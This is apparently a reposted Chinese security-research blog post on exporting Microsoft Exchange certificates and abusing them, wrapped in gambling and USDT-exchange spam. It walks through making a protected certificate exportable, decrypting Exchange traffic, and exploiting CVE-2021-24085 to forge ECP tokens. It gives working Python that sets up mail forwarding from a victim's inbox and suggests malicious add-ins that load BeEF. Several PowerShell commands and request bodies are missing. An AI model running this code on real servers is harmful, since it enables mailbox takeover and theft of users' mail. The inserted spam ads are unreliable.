USDT线上交易(www.usdt8.vip):Exchange admin center(EAC)开发指南2——证书的导出与行使

皇冠APP

www.huangguan.us)是一个开放皇冠即时比分、皇冠官网注册的平台。皇冠APP(www.huangguan.us)提供最新皇冠登录,皇冠APP下载包含新皇冠体育代理、会员APP。

,

0x00 前言

在上篇文章《Exchange admin center(EAC)开发指南》开源了代码eacManage,实现了添加邮箱用户、设置邮箱用户的权限和导出所有邮箱用户列表的功效,本文将要添加证书导出的功效,纪录开发细节,剖析行使思绪。

0x01 简介

本文将要先容以下内容:

· Exchange证书先容

· Exchange证书的导出方式

· Exchange证书的行使

0x02 Exchange证书先容

参考资料:

https://docs.microsoft.com/en-us/exchange/architecture/client-access/certificates?view=exchserver-2019,certificates-in-exchange

Exchange服务器默认确立以下三个证书:

· Microsoft Exchange,用于加密Exchange服务器、统一盘算机上的Exchange服务和从客户端接见服务署理到邮箱服务器上的后端服务的客户端毗邻之间的内部通讯。

· Microsoft Exchange Server Auth Certificate,用于OAuth服务器间身份验证和集成。

· WMSVC,此Windows自署名证书由IIS中的Web治理服务使用,用于启用远程治理Web服务器及其关联的网站和应用程序。

简朴明白:

Exchange的网络通讯数据使用Microsoft Exchange证书举行加密

身份验证功效需要使用Microsoft Exchange Server Auth Certificate证书,例如天生接见ECP服务时的参数msExchEcpCanary

弥补:

修改Exchange网络通讯数据使用的证书位置:

IIS Manager -> Sites -> Exchange BackEnd -> Bindings... -> 444 -> Edit... -> SSL certificate

如下图:

0x03 Exchange证书的导出方式

1.通过Exchange admin center(EAC)举行界面操作

需要在servers->certificates页面下举行操作。

2.Python实现

详细的POST数据包花样如下:

(1)获得每个证书的Thumbprint

请求url:/ecp/DDI/DDIService.svc/GetList

参数:

· msExchEcpCanary

· schema

数据花样:application/json

发送内容:


(2)导出证书

请求url:/ecp/DDI/DDIService.svc/SetObject

参数:

· msExchEcpCanary

· schema

数据花样:application/json

发送内容:


完整的实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/eacManage.py

3.通过Exchange Management Shell执行Powershell下令

参考资料:

USDT线上交易

U交所(www.usdt8.vip),全球頂尖的USDT場外擔保交易平臺。

https://docs.microsoft.com/en-us/exchange/architecture/client-access/export-certificates?view=exchserver-2019

列出所有证书:

导出指定证书:

名称为Microsoft Exchange的证书默认无法使用EAC或Powershell导出,错误提醒:

这是由于该证书的PrivateKeyExportable属性为FALSE。

解决方式:天生新的可导出证书替换原证书

参考资料:

https://docs.microsoft.com/en-us/exchange/architecture/client-access/certificate-procedures?view=exchserver-2019

(1)定位证书

接见OWA页面,查看证书,获得Thumbprint,如下图

例如测试环境的证书Thumbprint为5C1F5866F2408CFB8CCD7B66BECBDF99BC279042

(2)天生新的证书

通过Exchange Management Shell执行Powershell下令:

返回效果:5E3D84095391DB650FFC0EF27074B238B3798FB1,如下图

(3) 添加证书对IIS服务器的权限

通过Exchange Management Shell执行Powershell下令:

如下图:

(4)查看新证书

刷新OWA页面,发现证书已更新,如下图

(5)导出证书

通过Exchange Management Shell执行Powershell下令:

0x04 Exchange证书的行使

1.解密Exchange的通讯数据

需要导出Microsoft Exchange证书

详情可参考之前的文章《渗透技巧——Pass the Hash with Exchange Web Service》

2.CVE-2021-24085

需要导出Microsoft Exchange Server Auth Certificate证书。

行使Microsoft Exchange Server Auth Certificate证书,可以使用YellowCanary天生指定SID用户登录ECP时使用的参数msExchEcpCanary。

未打补丁KB4602269的Exchange服务器在校验身份时,只判断了参数msExchEcpCanary是否准确,未对Cookie举行验证,这就导致了攻击者获得Microsoft Exchange Server Auth Certificate证书后,可以天生随便用户(已知SID)的msExchEcpCanary参数,获得邮箱用户的ECP控制权限。

获得邮箱用户的ECP控制权限后,在行使上有以下思绪:

(1)上传恶意插件

参考资料:

https://docs.microsoft.com/en-us/office/dev/add-ins/tutorials/outlook-tutorial

开发带有特定功效的Office Web Add-ins,能够读取用户的邮件内容并加载浏览器攻击框架BeEF。

限制条件:

Office Web Add-ins需要在Outlook下使用,通过owa读取邮件不会加载Office Web Add-ins。

(2)添加邮件转发规则

将收件箱收到的邮件转发至另一用户。

正常功效的实现代码:

,!python3
import requests
import sys
import warnings
import urllib.parse
warnings.filterwarnings("ignore")

def LoginOWA(url, username, password):
    session = requests.session()

    print("[*] Try to login")
    url1 = "https://" + url + "/owa/auth.owa"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    } 
    payload = 'destination=https://%s/owa&flags=4&forcedownlevel=0&username=%s&password=%s&passwordText=&isUtf8=1'%(url, username, password)            

    response = session.post(url1, headers=headers, data=payload, verify = False)

    if 'X-OWA-CANARY' in response.cookies:
        print("[+] Login success")     
    else:
        if "TimezoneSelectedCheck" in response.text:
            print("[+] First login,try to set the display language and home time zone.");
            cookie_obj = requests.cookies.create_cookie(domain=url,name="mkt",value="en-US")
            session.cookies.set_cookie(cookie_obj)
            owa_canary = session.cookies.get_dict()['X-OWA-CANARY']
            url1 = "https://" + url + "/owa/lang.owa"
            payload = 'destination=&localeName=en-US&tzid=Dateline+Standard+Time&saveLanguageAndTimezone=1&X-OWA-CANARY=' + owa_canary          
            headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36",
            "Content-Type": "application/x-www-form-urlencoded"
            }
            response = session.post(url1, headers=headers, data=payload, verify = False)            
            if response.status_code == 200:
                print("[+] Login success")
            else:
                print("[!] Login error: " + str(response.status_code))
                exit(0)           
        else:
            print("[!] Login error")
            exit(0)

    url2 = "https://" + url + "/ecp/"
    response = session.get(url2, headers=headers, verify = False)  
    msExchEcpCanary = response.cookies['msExchEcpCanary']
    print("    msExchEcpCanary:" + msExchEcpCanary)
    return session,msExchEcpCanary

def test():
    url = "192.168.1.1"
    user = "test1"
    password = "Password123"
    session,msExchEcpCanary = LoginOWA(url, user, password)
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    }

    p = {
            "msExchEcpCanary": msExchEcpCanary
        }
    d = {"properties":{"ForwardTo":[{"RawIdentity":"[email protected]","DisplayName":"test2","Address":"[email protected]","AddressOrigin":0,"galContactGuid":"2cc82f35-2a13-449c-ab48-3843a7f2b615","RecipientFlag":0,"RoutingType":"SMTP","SMTPAddress":"[email protected]"}],"Name":"1","StopProcessingRules":"true"}}

    url3 = "https://" + url + "/ecp/RulesEditor/InboxRules.svc/NewObject"
    response = session.post(url3, headers=headers, params=p, json=d, verify = False)
    print(response.text)
    
if __name__ == '__main__':
    test()

CVE-2021-24085的实现代码:

,!python3
import requests
import sys
import warnings
import urllib.parse
warnings.filterwarnings("ignore")

def test():
    url = "192.168.1.1"
    msExchEcpCanary = "P7btz10TmkSS6_-vY8gG2uAKFEimJNkItU-6jJR0jbZcA7rCcR0O5CYxhyrW5kI6oeKC-sUM3Vw."
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    }

    p = {
            "msExchEcpCanary": msExchEcpCanary
        }
    d = {"properties":{"ForwardTo":[{"RawIdentity":"[email protected]","DisplayName":"test2","Address":"[email protected]","AddressOrigin":0,"galContactGuid":"2cc82f35-2a13-449c-ab48-3843a7f2b615","RecipientFlag":0,"RoutingType":"SMTP","SMTPAddress":"[email protected]"}],"Name":"1","StopProcessingRules":"true"}}

    url3 = "https://" + url + "/ecp/RulesEditor/InboxRules.svc/NewObject"
    response = requests.post(url3, headers=headers, params=p, json=d, verify = False)
    print(response.text)
    
if __name__ == '__main__':
    test()

0x05 小结

本文对Exchange证书的导出方式和行使思绪举行先容,更新代码eacManage,添加导出证书的功效,纪录实现细节。

本文为 3gstudent 原创稿件,授权嘶吼独家宣布,

  • 评论列表:
  •  新2代理手机端
     发布于 2021-07-02 00:00:36  回复
  • 我也知道我们从今天脱离之后,可能再也没有时机一起上台了,十年之约我也不知道会不会是一个美妙的祈愿。啥时候完结

添加回复:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。